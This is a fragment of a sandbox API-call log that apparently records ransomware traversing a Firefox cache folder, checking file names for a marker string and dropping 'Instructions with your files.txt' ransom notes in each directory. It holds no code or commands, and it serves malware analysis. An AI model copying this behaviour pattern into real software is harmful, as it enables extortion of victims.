[0130.749] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08\\..") returned 103
[0130.749] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x81e671d0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81e671d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e671d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8266, dwReserved0=0x0, dwReserved1=0x0, cFileName="71469d01", cAlternateFileName="")) returned 1
[0130.749] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08\\71469d01") returned 109
[0130.749] StrStrIW (lpFirst="71469d01", lpSrch="SDfghjkl") returned 0x0
[0130.749] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x81e671d0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81e671d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e671d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8266, dwReserved0=0x0, dwReserved1=0x0, cFileName="71469d01", cAlternateFileName="")) returned 0
[0130.749] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08\\Instructions with your files.txt") returned 133
[0130.749] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\d\\08\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c
[0130.750] WriteFile (in: hFile=0x12c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdca4*=0x54, lpOverlapped=0x0) returned 1
[0130.751] WriteFile (in: hFile=0x12c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdca4*=0x18, lpOverlapped=0x0) returned 1
[0130.751] WriteFile (in: hFile=0x12c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdca4*=0xc, lpOverlapped=0x0) returned 1
[0130.751] WriteFile (in: hFile=0x12c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdca4*=0x16, lpOverlapped=0x0) returned 1
[0130.751] WriteFile (in: hFile=0x12c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdca4*=0x23, lpOverlapped=0x0) returned 1
[0130.751] CloseHandle (hObject=0x12c) returned 1
[0130.751] FindClose (in: hFindFile=0x876e78 | out: hFindFile=0x876e78) returned 1
[0130.751] GetProcessHeap () returned 0x810000
[0130.751] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8bcc18 | out: hHeap=0x810000) returned 1
[0130.751] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e671d0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81e671d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e671d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="08", cAlternateFileName="")) returned 0
[0130.751] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\Instructions with your files.txt") returned 130
[0130.751] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\d\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
[0130.752] WriteFile (in: hFile=0x128, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdf34*=0x54, lpOverlapped=0x0) returned 1
[0130.753] WriteFile (in: hFile=0x128, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdf34*=0x18, lpOverlapped=0x0) returned 1
[0130.753] WriteFile (in: hFile=0x128, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdf34*=0xc, lpOverlapped=0x0) returned 1
[0130.753] WriteFile (in: hFile=0x128, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdf34*=0x16, lpOverlapped=0x0) returned 1
[0130.753] WriteFile (in: hFile=0x128, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdf34*=0x23, lpOverlapped=0x0) returned 1
[0130.753] CloseHandle (hObject=0x128) returned 1
[0130.753] FindClose (in: hFindFile=0x876e38 | out: hFindFile=0x876e38) returned 1
[0130.753] GetProcessHeap () returned 0x810000
[0130.753] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0130.754] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f6de30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="E", cAlternateFileName="")) returned 1
[0130.754] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E") returned 97
[0130.754] GetProcessHeap () returned 0x810000
[0130.754] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0130.755] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\*") returned 99
[0130.755] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\*", lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f6de30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e38
[0130.755] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\.") returned 99
[0130.755] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f6de30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.755] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\..") returned 100
[0130.755] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f6de30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="69", cAlternateFileName="")) returned 1
[0130.755] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69") returned 100
[0130.755] GetProcessHeap () returned 0x810000
[0130.756] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8bcc18
[0130.756] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69\\*") returned 102
[0130.757] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69\\*", lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f6de30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e78
[0130.757] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69\\.") returned 102
[0130.757] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f6de30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.757] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69\\..") returned 103
[0130.757] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb80063b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x10d22, dwReserved0=0x0, dwReserved1=0x0, cFileName="885EEd01", cAlternateFileName="")) returned 1
[0130.757] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69\\885EEd01") returned 109
[0130.757] StrStrIW (lpFirst="885EEd01", lpSrch="SDfghjkl") returned 0x0
[0130.757] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb80063b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x10d22, dwReserved0=0x0, dwReserved1=0x0, cFileName="885EEd01", cAlternateFileName="")) returned 0
[0130.757] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69\\Instructions with your files.txt") returned 133
[0130.757] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\e\\69\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c
[0130.757] WriteFile (in: hFile=0x12c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdca4*=0x54, lpOverlapped=0x0) returned 1
[0130.758] WriteFile (in: hFile=0x12c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdca4*=0x18, lpOverlapped=0x0) returned 1
[0130.758] WriteFile (in: hFile=0x12c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdca4*=0xc, lpOverlapped=0x0) returned 1
[0130.758] WriteFile (in: hFile=0x12c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdca4*=0x16, lpOverlapped=0x0) returned 1
[0130.758] WriteFile (in: hFile=0x12c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdca4*=0x23, lpOverlapped=0x0) returned 1
[0130.759] CloseHandle (hObject=0x12c) returned 1
[0130.759] FindClose (in: hFindFile=0x876e78 | out: hFindFile=0x876e78) returned 1
[0130.759] GetProcessHeap () returned 0x810000
[0130.759] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8bcc18 | out: hHeap=0x810000) returned 1
[0130.759] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f6de30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="69", cAlternateFileName="")) returned 0
[0130.759] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\Instructions with your files.txt") returned 130
[0130.759] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\e\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
[0130.761] WriteFile (in: hFile=0x128, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdf34*=0x54, lpOverlapped=0x0) returned 1
[0130.762] WriteFile (in: hFile=0x128, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdf34*=0x18, lpOverlapped=0x0) returned 1
[0130.762] WriteFile (in: hFile=0x128, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdf34*=0xc, lpOverlapped=0x0) returned 1
[0130.762] WriteFile (in: hFile=0x128, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdf34*=0x16, lpOverlapped=0x0) returned 1
[0130.762] WriteFile (in: hFile=0x128, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdf34*=0x23, lpOverlapped=0x0) returned 1
[0130.762] CloseHandle (hObject=0x128) returned 1
[0130.762] FindClose (in: hFindFile=0x876e38 | out: hFindFile=0x876e38) returned 1
[0130.762] GetProcessHeap () returned 0x810000
[0130.762] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0130.764] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x82329dd0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x82329dd0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="F", cAlternateFileName="")) returned 1
[0130.764] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F") returned 97
[0130.764] GetProcessHeap () returned 0x810000
[0130.764] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0130.764] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\*") returned 99
[0130.764] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\*", lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x82329dd0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x82329dd0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e38
[0130.765] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\.") returned 99
[0130.765] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x82329dd0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x82329dd0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.765] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\..") returned 100
[0130.765] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f6de30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="23", cAlternateFileName="")) returned 1
[0130.765] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23") returned 100
[0130.765] GetProcessHeap () returned 0x810000
[0130.765] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8bcc18
[0130.766] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23\\*") returned 102
[0130.766] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23\\*", lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f6de30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e78
[0130.767] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23\\.") returned 102
[0130.767] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f6de30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.767] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23\\..") returned 103
[0130.767] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7fe0250, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xf888, dwReserved0=0x0, dwReserved1=0x0, cFileName="7E0FEd01", cAlternateFileName="")) returned 1
